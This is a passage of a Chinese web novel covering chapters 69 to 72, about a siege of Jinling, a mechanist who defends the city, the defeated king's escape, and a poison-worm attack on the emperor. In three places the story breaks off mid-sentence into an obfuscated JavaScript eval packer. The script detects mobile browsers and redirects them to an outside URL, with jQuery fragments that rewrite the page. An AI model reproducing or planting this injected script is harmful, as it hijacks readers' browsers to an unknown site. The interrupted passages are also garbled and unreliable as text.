何况人家临海作战,有利远航,将领也都有作战经验。齐军身处腹地,行军不易就不说了,将领中一半都是旱鸭子,哪有水战经验?! 韩玉笙还没开口,应瑕便叹了口气,先行做了决定:“准了。” “你——”姚复直起腰,正要责问,偏生说不出口,只好又端起面前盛着菜食的小碟,“罢了。别打败仗就行。” 造战船工程浩迭繁杂,中间要消耗不少钱财民力,还不一定能打胜仗——可他亲口承诺了给应瑕同等的权力,送出去的礼物哪有收回来的道理。 韩玉笙心里门清,这一会儿不找他要船,等姚复从幻境脱身,把他赶回阖闾城,哪还有机会过把瘾。 应瑕能同意最好,她一诺千金,说了放人就会放,说给船就一定会给。 等宴席散去,大家也都各自散去了,应琼和应瑕相互寒暄了两句,最后一个离开。 “你为什么要给他船啊?”姚复看着下人们收拾桌上的盘子,紧紧皱着眉头,又有些不解,又有些不悦。 应瑕喝完席上剩下的最后一杯酒,目视着一个角落里的阴影,说道:“他能提出南海珠奴一事,也算有功。想要船,给他便是。” 她只答应了须弥芥子放过他们的性命,没说过留下他们手里的兵权。届时陈重熙应当会回阖闾城继承家业,韩玉笙也会跟过去——只是看他现在这个样子,估计是想从南海或东海远航,渔樵半生。 既然不是什么过分的愿望,在这幻境里也算有功,满足他便是。 “真是的,我也想要船。”姚复终于说出了自己的想法。 现在的民力,要造战船,最多造出一艘装潢华丽的楼船画舫,给了韩玉笙他就没有了,从长安顺着大河而下遍观五岳三山的愿望算是暂时破灭了。 69. 第69章 军队进展很是顺利,从腊月到正月,三个方向的捷报都是一封接一封地传回长沙去。 屈郢麾下兵士炼制活尸消耗了不少,江南虽然繁华,可是历经大疫,又被强征不少壮年男子,剩下的只有老弱妇孺。 于是许多女子也被迫上了战场。 就像不是每个男人都会刺绣一样,也不是每个女子都能随军。何况原本在家里千娇百宠的小姐,本就身子娇贵,有的妇人生了孩子,更是比不上装备精良的将士。 这些人上了战场,不投降也很快被打的溃不成军。 屈郢只好带着残部退回了金陵,又让心腹回家乡山阴花重金找了个著名的机关师。 山阴班氏是江湖上赫赫有名的家族,先人师从公输班,世代精习机关道,代代作为偃师,最善制造守城攻城的武器和机关。 “定金五十两黄金,无论事成与否,都不退还哦。” 年轻的男子带着一只斗笠,穿一身浅碧色的袍子,长长的帷幔挡着他整个身躯,只有多情缠绵却又好像带着附骨之毒的声音传进屈郢耳边。 屈郢微微一眯眼,思忖半刻后加了个条件:“如果事情不成,你必须带着我逃出去。定金还是五十两黄金。” 帷幔下的桃花眼中凝起一丝冷意,很快又放松下来,那婉转的声调失却了起伏,只冷冷说:“念在大王与我同乡,便特许这一次好了。” “班公子爽快。”屈郢从案前站起身子,劈手夺过侍从手里的箱子,亲手托着那木盒,在班箐面前打开,交于他验视。 班箐也懒得仔细去看,似乎知道这城守不下去,金银的真假也不计较,只转身出了门,丢下轻飘飘一句:“劳烦楚王自己准备制造器械所用的木料咯。” 他抬脚出了门,顷刻便消失不见。 “这金子直接送到班家去。”屈郢沉吟一会儿,把那箱子合上,塞到侍卫手里,“去了就别回来了,老实待在山阴。马上传令封锁金陵城,叫人到后山上砍树准备木料去!” 这个班箐,给钱才办事,还不一定尽心。 可此人确是班家年轻一代的佼佼者了,江湖上都在传言他是集公输与诸葛之才于一身的百年难遇的天才,想来守城的技艺是不错的。 率先到金陵城底下的是新涂从赣州来的军队。 他命人拿了纸鸢和孔明灯,往上绑了不少书信,无一例外被弓箭射了下来,上头写的全是些劝降的话。 可只是劝降是无用的。 屈郢几乎是双目猩红地站在高高的城墙上,举着剑威胁士兵:“谁敢说一句投降,我马上杀了谁!守城机关马上就造好了,很快咱们就能高枕无忧!” 高枕无忧? 那怎么可能。 金陵已然成了一座孤城,城中粮草不日就会断绝,届时便要闹灾的——一场完全由人为造成的灾祸。 新涂劝降了三日,见城中人不为所动,便终于不耐烦了,马上令人开始攻城。 可惜有点晚了。 金陵有如当年被围困的启封,二十八座城门全部灌了铁水,要入城只能用云梯,偏偏守城器械又都造好了。 新涂带着军队在不远处扎了营,他作战不像韩玉笙一样扛着旗子就一头往前冲,顾头不顾腚,也不像解臻一样奇谋胜甲,一羽拨千钧。正面进攻行不通,那就扎营潜伏等对方的破绽。 正月十八,解臻的军队也从北边到了金陵城前。 解臻让人放了纸鸢,这次绑的不是劝降书,完完全全是□□——这些东西太重,孔明灯绑上去飞不起来。 这些技巧在班箐面前只能说是小巫见大巫,士兵们射下来一些纸鸢吃了亏之后,班箐干脆造了一批小木鸟,中间是空的,填满炸药,翅膀是木料雕就、机关链接的,能够在空中滑翔一段距离。 他便让人在里头填满了炸药,一股脑丢向了附近的军营——没飞到地方,但在地上炸了几个坑,解臻让人搭的地道几乎前功尽弃。 “唉。”解臻看着开工时被炸伤的士兵,有些无奈,“这下怎么办,也不知楚王寻了什么高人,金陵城简直密如铁桶——我明日起营,到阖闾城附近,再挖地道。” 新涂叹了口气,坐在地上,从应琼拿着的盘子里拿过一只糕点,一边嚼一边含糊不清地说:“解将军,你也别费那劲了——江南水网密布,地道一不小心就得被淹掉。攻不下,咱就跟他耗着,左右粮草不足的也不是我们。夫人做的糕点可是不错,你尝尝?” 应琼笑着把盘子递到解臻面前,又被解臻轻轻推开:“夫人辛苦,我不吃。不过这些东西……倒是可以让炊事房做给伤员吃。大家行军路途久了,现下马上尘埃落定,提前犒劳三军也好。” “犒劳三军吗?”应琼把最后一只糕点塞进新涂手里,端着盘子,两眼放光,“我也想去帮工!我刚学了新的菜式!” 新涂被糕点呛到,猛烈咳嗽起来,应琼吓了一跳,连忙丢了盘子去帮他顺气。半天新涂才缓过劲来,无奈开口:“三喜,你可别。要是殿下知道你下厨,不得撕了我。说实话我也不知道你跟着进幻境凑什么热闹……” “哎呀,姐姐姐夫又不在,天高皇帝远的,他们还能知道?”应琼扶着新涂的肩膀,半带蛊惑半带乞求地说道,“而且你都说了姐姐不准我下厨,这好不容易从她眼皮子底下逃出来了——” 太子出生时爹妈都不管,几乎是三个夫人和应琼轮着带的,也就是从那时开始,应琼迷上了各种做饭——小孩吃了夜啼不止、大人吃了面如死灰的奇怪餐食。她做的东西也就只有糕点能吃了。 这事当然得瞒着应瑕,可每次都被拉来试餐的应瑜受不了,转头就偷偷报给了姚复,第二天应瑕就怒气冲冲地闯进了国公府,把应琼从厨房提了出来关了禁闭,从此无缘庖厨了。 解臻不知其中内幕,看应琼实在喜欢,忽然想起了解斛珠,便笑着劝解:“新将军,夫人既然喜欢,便让她跟着帮忙指导好了,既全了心意,也不至于失了身份。” 新涂本来就娇宠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14706237|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妻子,听着她的说辞心里早动摇了,解臻的话无意给了他一个台阶:“那……好吧。不过你最多只能跟着做点心,也不要随便指导厨子做饭。” “宴饮一事,等韩将军过来也好。”解臻心思敏捷,看着新涂的态度,大约猜到了应琼的厨艺,便开口又说了一句。 “好!”应琼爽快答应,跨过碎了一地的盘子,轻快地往外跑:“我现在就去膳房!” 她欢快的背影立刻消失不见了,屋里两个将领和几个伤兵不约而同地叹了口气。 韩玉笙不是坐着他的战船来的,一路战船接战马,所过之处如同狂风过境,一连打下了南边的七八个州郡,趁着士气高涨,一鼓作气从另一个方向冲向了金陵城。 他看着紧闭的城门,似乎有些疑惑,在咫尺之遥的地方举起马鞭,示意身后的士兵停下。 班箐仍戴着斗笠,站在城垛上,微笑着看底下的军队。 城墙上架满了十连弩——当年蜀汉国破之后就失传的机关,好歹给他复刻出来了。 这弩一连能射出十支箭,是守城的利器。 他还加了一点小玩意,每”十步便有一个机关锁,链接着不同的器械,钩索连环,无孔不入。 韩玉笙没见过十连弩——没人见过这精巧的机关。 他不敢轻举妄动,只好带着三军在原地观摩形势,他紧紧蹙着眉头,正打算带人撤退扎营,班箐轻轻挥了挥手里鲜艳的旗子,十连弩齐齐发射,箭雨噼里啪啦砸在军士们的铁甲上,顷刻便有人或负伤或战死了。 “撤退!”韩玉笙大惊失色,连忙让步兵举起盾牌,掩护大部分将士撤退。 可他带的人有点多,忽然退起来后方的军士听不清楚,忽然变卦难免造成踩踏事故,好在后排造成的损失不多,前排的兵士却是遭了殃,韩玉笙自己也中了箭。 解臻得了斥候的消息,半是无奈半是无语地叹了口气,带了五六十人过去接应了。 韩玉笙这个顾头不顾腚的莽撞毛病怎么也改不好,斥候传来的消息都被丢在身后,正待乘胜追击呢,吃了征战生涯中头一次败仗。 出兵时带的三十万大军到金陵城下才折损了十之有三,韩玉笙自己无心学项羽破釜沉舟,但手下管营帐的将士在渡江时操之过急,营帐锅釜丢了大半,根本不够扎营。 “哈哈。”解臻看着灰头土脸的韩玉笙,没忍住笑了出来,又赶紧让军医过来替他拔了箭头处理了伤口,每每看见韩玉笙愤懑的脸色,都忍不住脸上的表情,只好背过身去偷偷笑。 应琼一听说有了新的伤员,马上起灶端了一碗不知是什么的粥食来,跟医师说是餐饭,到了韩玉笙面前打开食盒又说是药汤。 解臻和新涂看着韩玉笙半信半疑地拿勺子舀了一口喝下,又碍于面子不好吐出来,于是脸色一会儿青一会儿紫的样子,不约而同出了门。 李小姐在他把饭吃完之后才拿了自己做的白粥进了营帐,只当碗里的是应琼端来的药汤,丝毫没有起疑心。 70. 第70章 三个将领带着几十万的将士在金陵城下蹲守了近三个月,一直到三月末也是无从下手。 长安城都给修缮好了,察举也开了一轮,连现世的须弥芥子都幻化身形进了幻境一次,面对金陵城还是束手无策。 姚复蹲在龙椅上,扒拉着新涂送来的文书,重重叹了好几口气,最终拽了一把倚在扶手上睡觉的应瑕:“珠英,你瞧这个,怎么办?” 应瑕被从睡梦中叫醒,本就心存不满,姚复一旦拿到忖不定的事情老会麻烦她,现在又没个皇帝的样子,更是心中烦闷。她皱着眉,坐直身子,从他手里接过文书,随后呵斥他一句:“你给我坐端正!” “珠英,照这样下去我到明年五月都没法兑换给你的礼物……”姚复连忙把屁股放回龙椅上,双腿伸直,坐的端正了些。他心里有些焦虑,只好忐忑地对应瑕说,一边想让她帮着出主意,一边又想让她宽限一点时间。 应瑕把文书搭在扶手上,揉揉眉心:“先不管金陵城了,那什么礼物我也不急,你尽力而为便好。什么时候开科?” “回殿下,明日便能开本朝头一次科举了。”底下礼部的官员马上举着笏板回答,复而又问:“陛下,今年的年号也该换一换了,天符已经是前朝的年号了——” 今年都天符七年了,大梁都覆灭了,再用也不合适。 “这你自己解决。”应瑕把文书摔倒姚复身上,“我再睡一会儿。” 她最近也太嗜睡了! 姚复心里有些不是滋味地想到。 这个时候要是怀了也还好说,小孩也不会成为拖累,可是要真这样谁帮他处理政务啊? 桥虹死了;司空谷暂时回了桃都山,也去慰问老师;阖闾城被攻破后陈重熙就堂而皇之回了老家;魏讯则回了平阳探望母亲,已经待了几个月了。如此一来,丞相之位完全是是空悬的,他事事都得亲力亲为,应瑕先前还能分担一二,如果真怀了那可就坏了! 应瑕已经撑着头换了个舒服的姿势再度听着大臣们的上奏声睡去了,姚复也不好再叫醒她。 “年号再用一年好了。”姚复有些尴尬,但他一时也想不好用什么年号来,只好硬着头皮面对这群老头子。 察举上来的都是些古板的德高望重的老头,姚复提出来让应瑕参政时就和他们吵了一架,最后还是顶着压力把应瑕留在朝堂上——结果就是她每天都要在朝堂上补觉,有时候睡过整个早朝,有时候会睡一半。 姚复怀疑是大臣们说话催眠,可是她午朝从来不睡觉,总是正襟危坐清清爽爽地坐在那处理政务。 老头们虽说心怀不满,但是也不好说什么,只有那礼部的官员又说:“既然如此,陛下总该给我们一个理由!殿下能随军征战四方,有资格参政就算了,为何年号还要继续用?” “这……”姚复有些为难,不自在地往椅背上蹭了蹭,文书哗啦啦一响,他好像抓住了救命稻草,连忙抓起那文书:“这金陵城——楚王的残部尚在苟延残喘,朕未曾实现天下一统,如何安心改元?” 他故意装出痛心疾首的样子,使劲一捶胸脯:“至于这金陵城,如果在四月之前还攻克不下,便直接弃了罢。只是城中如今是易子而食、哀鸿遍野,朕心何安呐!” 宽大的袖子挡住脸,余光在朝堂上看了一圈,发现大家的神色都很奇怪,但也没人说话,放下袖子,笑着说:“既然众卿没有意见,那这事就这么定了啊。” 察举上来的老头子们你看看我我看看你,好像明白了姚复怎么当上皇帝的——每一句话都夸张又虚浮,但是每一句话又都无懈可击。 这种人真是……即便不当皇帝,做什么事也都能成功啊。 “散了吧散了吧。没事就都散了吧。”姚复见他们仍没反应,便笑着挥挥手——这事是太监做的,可惜长安城没足够的男子用来做太监。 到了丽娟唱《回风》、太白赋《清平》的时候,金陵城自然没有攻下来。 长安一夜冷雨,金陵拨云见月。 有一人夜登城墙,立于城垛,此人身姿如同青松负雪,又似白梅凌霜,只是逆光而立,看不清样貌。 兵士们齐齐举弓,又被班箐抬手制止。 “在下听闻公子先人是公输门人,今日便仿效‘墨守’之典,冒昧问公子——”声音如同雅乐,盛大而清丽,中正而平和,典雅而纯正。 班箐很是喜欢,他微微偏头,饶有兴味地开口回答:“公子尽可询问。” “——阁下能为我杀一人否?”那清冽如同山上清风的音线再度传入耳畔。 “那就要看看公子能开出来什么价钱了。”班箐没有像千年前的公输班做相同的回答。 他明知这座城池的沦落是注定的,城里百姓生活也是水深火热——可那又如何,他只想看看面前这人会有什么反应。 来者用了轻功,足尖轻点,直直朝着班箐身后不远处的机关锁冲去——这锁只要损毁一个,城里的器械便全部作了无用功。 兵士们都知道这一点,可弓箭根本追不上他的速度,只好有人拿着长矛战戟到机关锁前守着,准备将他就地格杀。 班箐并未制止,眼睁睁看着长矛即将刺向来人的后腰。 就在血溅五步之前——那人凌空跃起,踏着没来得及收回的矛头借力而起,以迅雷不及掩耳之势抽出长剑,一剑斩断了机关锁。 名贵的木料应声断裂,木屑飞溅在地上,附近连环的器械一个接一个,全部宣告了废弃。 士兵们都愣在原地,目眦欲裂。 那人不知何时又落回了城垛。 月落星移,曙光乍现,温和的日光拂在他脸上,终于让班箐看清了他的面容。 此人面目有光,目如明星,唇如红梅,肤如凝脂,浑身气质清冷如雪松,又淡泊如白鹤,高远如鸿鹄。 兵士们再度举起兵器,被班箐再度制止。 他掀开帷幔,露出一张精致绝伦的脸,桃花眼盈满了光芒,唇角总是带着似有似无的微笑——既亲和近人,又暗藏杀机。 他并未束发,一头微微卷曲的黑发如同吴淞江上的粼粼春水,随意散在背后,脑袋右侧一簇长长的白发格外显眼。 “敢问公子尊姓大名?”班箐撩撩头发,微笑着问道。 “在下李尘生,字玉墀。” 李尘生向来有问必答,在此地也并不做停留,闪身离开,往远处的军营去了。 班箐把这个名字在口中反复咀嚼几遍,看着远处那道白虹,忽而发觉再不追便追不上了,匆匆留下一句“我不干了,让楚王自己乘木鸢离开便是”,即匆匆跳下城墙,追着李尘生远去了。 “我就说这人不靠谱!”一名士兵猛的摔了弓箭,旋即又脱了力,跪坐在地上。 城破了也是好事,至少不用再看着城里人间炼狱一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14706238|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般的惨象,这江山落在姚复手里总比屈郢拿着要好。 只是班箐这几个月造了一只大鸟,足有百尺长,中间能坐好几个人,这鸟能自己扇动翅膀飞起来,只是和先前装炸药的小鸟一样,飞不了多远也会坠地,只待再度精进,城破之后让屈郢坐上去跑掉。 不过还没等他精进完成,便追着李尘生跑了,这半成品飞到东瀛是不可能,坠进长江绰绰有余,屈郢会水,钻进江水根本无迹可寻。 算他仁至义尽。 班箐追着李尘生一路进了齐军的营地,看着李尘生钻进一座副帐,翩然落在帐顶,从袖子里掏出一枚指甲大小的木雕虫子,扒开它腹部隐藏的小刺,牢牢钉在帐顶,又迅速转移到附近一棵树上,摘下了斗笠,让绿色衣服与绿荫更好融合,随后拿出与那虫子成对的另一只木雕。 这对木雕是他独自发明的,照着古籍中的应声虫做成的,一只捕获到声音,另一只便能把声音一五一十传播出来。 韩玉笙肩膀上的伤反反复复,大约是因为喝了不少应琼熬的粥,虽说她手艺有精进,到底是让韩玉笙心情不怎么好,伤口也比一开始还严重。 他趴在床铺上,李小姐无奈地按着他的胳膊抱怨:“既然知道应夫人手艺不好,还吃什么。她开心了是不假,你的伤口倒好——” 天仙子侍立在一边,看着这两人争执,脸上仍带着微笑。 她顷刻便能感知到有人逼近营帐,连忙上前掀开帘子,把李尘生迎了进来。至于帐顶那个小东西——没什么威胁。 “韩将军,别来无恙。”李尘生不卑不亢的声音从小虫子口中传出来。 班箐挑起眉毛——江湖中人怎能和朝堂上的将军有交集呢? 李小姐听见声音,连忙起身把他迎了进来,在小案上摆上茶水。 李尘生只抱拳推脱:“不必了,夫人。某只是路过金陵,不打算久留。韩将军多分拨的南珠确实解了燃眉之急,某实在感激不尽。” 姚复托付决明子和九里香找人时出了南珠,可这些人都要先带到天仙子面前过目。李尘生是听说了此事毛遂自荐来的,目的只是为了南珠—— 他原先不打算接那任务,只是在临安见了一身患重病的幼子,其中有一味药材为南珠,又听说了姚复挂出来的悬赏令,便千里迢迢从临安赶到了锦官,直接求见了决明子的顶头上司天仙子。 韩玉笙恰好也在,便把手里的南珠全给了李尘生。 这些珠子后来散发给了临安城中患有相似病症的几个孩子。 “这事都这么久了……那些孩子怎么样了?”李小姐坐回榻上,笑着问道。 “……惭愧,后来在下没有再回过临安了。” “今夜我们便要宰牛杀羊做宴,李公子不如留下来?” 听到李小姐的话,班箐心都要提到嗓子眼——李尘生要是在这儿过夜,或是被以各种理由留下,他就得在这树上不知要蹲多久,还有可能被发现——他机关术厉害,但是武功不怎么样,被抓到擅闯军营几乎就完了。 “多谢夫人好意,在下马上要启程到庐阳去。便不多做停留了。” 李尘生的声音终于传出来,班箐松了一口气。 那道白衣从营帐里出来,很快离开了军营。 班箐笑笑,落到营帐上,拔下那应声虫,迅速跟上李尘生,一把拉住他的胳膊,笑着问:“公子要上哪儿去?” 71. 第71章 显然李尘生不是受了委托攻城的,因而军营里三个将军硬是没一个人知道金陵城的守城器械已经被砍坏了—— 到了夜里照样宴饮。 横竖姚复每个月都会让人牵几头羊过来犒赏三军,不吃白不吃。 耕牛作为珍贵的资源,姚复当时和魏王结盟时割耳用的牛都要送回去包扎包扎继续犁地,宰牛和卖牛肉都是犯法的。可在军中有所不同——军中杀牛是默许的。 皇帝的诏令传到金陵城下,打定了主意放弃金陵城,反正屈郢迟早饿死在里面。 他自己不急,应瑕也不急了,那还有谁急,不如继续宴饮作乐。 篝火熊熊舞蹈着,一如当年屈郢落败时、碧姬跳的那支剑舞。 没人在乎金陵城怎么样了,因而也没人看见从城中趁着夜色徐徐飞起的木鸢。 那只巨鸟轻轻扇动着翅膀,带着落败的王飞向东方,滑行了数百里,它的动力终于难以为继,一头坠入波光粼粼的吴淞江。 屈郢在初夏夜里微凉的江水中轻松浮出水面,随后慌忙地转头呼喊:“碧姬?碧姬?你在哪儿?” “大王……我在这儿……”碧姬的声音从背后传来,屈郢连忙回头去捞——她在阖闾城生活了十几年,却没有学会凫水。 她靠着木鸢的残骸,面容并不像先前狰狞可怖,倒是恢复了生前的美丽温柔。 他们靠着浮在水面上的木鸢,碧姬神态恢复了清明,却是轻轻抚着爱人的脸,有些虚弱地说道:“大王……收手吧……我控制不了那只蛊虫了。” 这四月的江水,终于让她记起了阖闾城的莲花池。 蛊虫是聚集百种毒物相搏炼制出来的,碧姬种在姚复体内这只,更是花了三年、耗费上千只蛊虫、数百条人命炼就的,它汇集了冲天的怨气,一心想着复仇,也蚕食了碧姬的心智。 好在……只是幻境。它没办法让屈郢再造杀孽。 屈郢见碧姬有些虚弱,便拉着她上了木鸢——岸上没有渔火明灯,也再没有他们的栖身之所了。 碧姬把头靠在屈郢肩上,望着满天星斗,眼眶有些发酸,可是作为一个没有实体的神魂,并不能落泪:“大王,我真后悔啊。如果我不给陛下下蛊,也许我们在现世就只是平凡夫妻……” “如果当年我不学炼蛊,也许现在已经成了名震中原的女仙……可是如果我不炼蛊,可能就一辈子也见不到你了。” “世上哪有这么多如果。唯有落子无悔罢了。”屈郢搂着碧姬,也抬头去看天上的星子,“你炼蛊怎么不算好事。炼蛊也是一种术法,不该被人看不起——若不是你炼蛊,我们又怎么多活这七年。” 碧姬听着他的话,又想落下泪,可惜她生前就流干了泪水,只好吟诗抒情:“此去泉台无归路,英雄一梦付黄梁。我们和霸王别姬——都是同样的悲剧罢了。” 屈郢仍是不识字,也听不懂这些诗词,但他绝对是知道霸王别姬的:“他们是悲剧,我们才不是。你自刎后,我也无心独活,不过三个月,金陵城就破了……让你失望了。” 碧姬忽然笑了,笑着笑着又染上了凄凉:“大王啊,今夜之后,我们就真只能等来生再见了……我控制不了它了……我控制不住……” “碧姬,如果你还想杀了姚子季,我宁可赔上性命也要去——”屈郢心中刺痛,眼眶也发酸,干脆翻了个身,把碧姬牢牢按在怀里询问。 她小幅度地摇摇头:“我想通了。我们战败是天命难违,又何必拉别人下水……我只求……只求他能把我们的尸骨找出来,葬在一处……” 屈郢稍微想了想,觉得这不是什么难事。 只要他不愿意去死,应瑕根本奈何不了他——他先前最佩服应瑕的气度,她做皇帝显然比姚复合适,与她沟通不是难事。 只是既要保住姚子季的性命,又要和应瑕沟通,还要应付马上被蛊虫蚕食心智的碧姬,几乎难如登天。 他无法对碧姬下手,也无法容忍别人对碧姬下手。 碧姬靠在木鸢上睡着了,残存的理智如同她的心智,化作星光飘散进了无边的夜空。 屈郢看着她远去的方向,终于忍不住低声啜泣起来。 哭泣声徘徊在夜晚的江面上,一直到天明才遥遥停止。 这次没有生犀照梦,却依然见到了碧姬的笑靥。 梦中,他们兵败后没有急着自刎复仇,只是撑着一顶小船,飘飘悠悠回了滇州,碧姬作为圣女,返璞归山林,他们作为平凡夫妻,渔樵一生而已。 左右心早存了死志,大梦初醒已经又到了黑夜降临,屈郢索性跳入江水,往岸边繁华的城市游去。 姚复能得仙人拂顶,万一真有办法救碧姬呢? 他要从那只万恶的虫子手里救回碧姬的神魂心智,好与她来生再做恩爱夫妻。 一连过了三日,金陵城中留守的官兵见皇帝的军队和补给迟迟不来,实在是按捺不住,只好寻了人斗胆进入了城郊的军营彼时城外驻守的三个将军才知道金陵降了—— 三个人面面相觑,有这个空档屈郢早跑了,回头要怎么跟姚复交代? “事已至此……我们先进城吧?”解臻犹豫着开口提议,“城中百姓应当已经等了很久了。” 目前消息还没传回长安,他们三人还有充足的时间去寻到一个好理由为自己的疏忽开脱——虽说这事没疏忽应当也抓不到他。 新涂和韩玉笙对视一眼,似乎都认为不太可行,最终新涂一拍大腿,盖棺定论:“进城!就跟陛下说,今日金陵城不战而降,搜查全城后发现楚王不见踪迹。” “行。”解臻站起来,指挥士兵们,“拔营进城!让辎重到附近的阖闾城采买粮食送来!” 消息传回长安时,已经到了榴花压枝头的时候。 姚复看着送回来的文书,心中不由失落懊悔,确是压着最后期限攻破了金陵城,却让人跑了。 要是在五月剩下的十几天里抓不到屈郢,那真要误了送礼的时候了。 姚复坐在床上,余光透着半透明的纱幔隐隐约约见到一个人影,还当是应瑕从刚修好的御花园回来了,便叹了口气,放下了文书,说道:“珠英啊,楚王跑了啊。怎么办呢?” 应瑕站在小案前不动了,帷幔上挂着的硕大绸布花球挡住了她半张脸,只露出一点下巴尖。姚复抬眼看去,忽而觉得很是奇怪——应瑕中午到花园去时穿的是件红衣服,现下站在屋里的人却多了件白色外袍。 这种搭配看起来恬静又诡异,尤其是——她站在那里,从胸腔中发出一声哼笑。 姚复蹙起眉头,猛然掀开了帘幔,坠着的花球因为动作过大摇晃起来。 屋里站着的确实不是应瑕,是穿了件白色外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14706239|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袍的碧姬。 准确的说——是那只蛊虫。 它显然没有成熟的心智,以为应瑕只穿白衣,便不知从哪得来一件外袍披在身上,更是发挥了神魂的优势,神不知鬼不觉潜入了内室。 她的眼瞳像是被墨染过一样,全然是黑的,唇角也裂开了缝隙,好像是被刀划开了皮肉又粗暴缝合,连脸色也是狰狞扭曲。 “你……”姚复有些紧张地咽了一口口水,他今天躲懒没去上朝,剑正挂在不远处的墙上——碧姬背后的墙上,“你要做什么?珠英去哪了?” 蛊虫无法理解这些话语,它没有理智,只遵循内心的怨毒,连主人的意志都被无边的仇恨淹没了。 “杀了你……杀了……”碧姬忽然笑着,迅速朝着床榻扑过来。 姚复吓了一跳,几乎在看到碧姬动作的第一瞬间就从床上滚了下来,从她臂弯下堪堪躲过去,又拔腿奔向那堵挂着剑的墙。 碧姬发现扑了个空,立刻转了身继续扑咬,几乎是姚复拔出剑的最后一刻,碧姬便把他按在了墙面上。 “放手——不然我就杀了你。”姚复把剑架在近在咫尺的碧姬的脖颈上,剑刃几乎贴着两人的皮肉,威胁碧姬的同时也在拿自己性命做赌。 那只虫子倒听懂了这句话,它操纵着碧姬的神魂,把剑刃硬生生往后推了两寸,划破了姚复自己的肌肤,同时宝器锋利的剑刃划破了她自己的手掌,并带起了一丝丝焦灼的焰,不住灼烧她的血液。 长剑当啷一声坠落在脚边,碧姬那张狰狞的脸越凑越近,姚复看着那双没有眼白的眸子,心中恐惧几乎到了极点。 碧姬很快撤开了,她手掌上的伤口里,缓缓爬出一只通体油亮漆黑的小虫子。碧姬死死按着姚复的肩膀,把他扣在墙面上,又把那虫子凑近姚复脖颈上的伤口。 “啊啊啊——” 尖叫声从内室里传来,应瑕看了眼身边的金桃——长沙那个主动念诏书的婢子,旋即拎起裙子,快步进了屋子。 屋里只有姚复自己,在上蹿下跳地拍着自己身上的皮肉,应瑕进来时他已经拾起了地上的剑,正打算往自己的左臂上砍。 应瑕心脏都要提到嗓子眼了,身体比脑子更快做出行动,她几乎是扑上前去,一把拽住了姚复举剑的手腕,剑刃偏离了路径,砍了个空。 “你疯了!”应瑕站起身子,劈手夺了剑,怒目嗔视着姚复,“好端端的,干什么砍自己?” “有虫子啊!那个碧姬,那个虫子,它从伤口钻进去了!好恶心!”姚复一边语无伦次地解释,一边去夺应瑕手里的剑,他夺不过来,便挽着袖子指自己身上的部位,从胳膊上的皮肉又到腿上,又从腿上到另一只胳膊,“它一直在动啊!” 姚复几乎欲哭无泪,应瑕把剑丢到一边去,扶着他坐到榻上,余光瞟见他脖颈上还渗着鲜血的伤口,又想到他方才说碧姬,发生了什么也明白了七七八八。 “你别慌,我们马上找人帮你取出来——”应瑕握紧他的手,稍稍安抚一句,随后命令金桃,“金桃,你马上把陈丞相和国师都叫过来!越快越好!” 蛊虫现下应当还在姚复体内找落脚点——听说碧姬当初以血肉之躯炼制蛊虫,这只猛然从母体脱离,定然是要选一个更好的地方落足。哪怕落脚了,距离毒性发作也还有一段时间,只要速度够快,应当就不会出事。 72. 第72章 “她还装成是你。”姚复反手握紧应瑕的胳膊,“我都不知道她怎么进来的!不过她长的没你漂亮,也没学会你的穿着,更没有你的气质……她上来就要杀我!抓到了必须严惩不贷!必须严惩!她肯定还偷了你的衣服!” “现在倒不嫌那虫子恶心了。”应瑕略有些讶异地看了他一眼,“你先管好自己的命罢。” 姚复有些尴尬地笑了笑。 让叫的人来的很快,司空谷和陈重熙都当是什么急事,马不停蹄进了皇宫,听说了来龙去脉,两人神色各异,但给出了相似的答案—— “不会,做不到。”司空谷直截了当地拒绝了,随后就甩袖出了门,任性潇洒的气度跟他师傅学了个十成十。 陈重熙看着他出门,想到自己全家的性命还在应瑕手里,只好上前把脉,随后面露难色:“殿下,恕难从命。脉象上没什么异常,臣也没学过解蛊——您知道这是禁术,碧姬就因为这个被逐出师门的。” 姚复听到这个结果倒是平静,反而半开玩笑般地问了一句:“那我能感受到它爬到哪儿了,能不能拿刀子破开,把它取出来?” 陈重熙既惊骇又不解,只好求助般地看向应瑕——他根本没法回答这种问题!这不就跟华佗医曹操一个道理?不过这次是曹操先说出来了“以刀斧凿吾首”的话来。 “你别管他,怕是被那毒虫迷疯了。”应瑕上前挡住姚复,又把他往里推了一点,“我听说你家世代从医,家里就无人会解蛊?” 陈重熙忽然想到了什么,忽然拎着衣摆站起来,与应瑕耳语几句,姚复听的不太清楚,只见陈重熙又退了回去,脸上为难地说道:“臣马上回阖闾城去,询问家父的意见。臣告退。” “你去吧。”应瑕点点头。 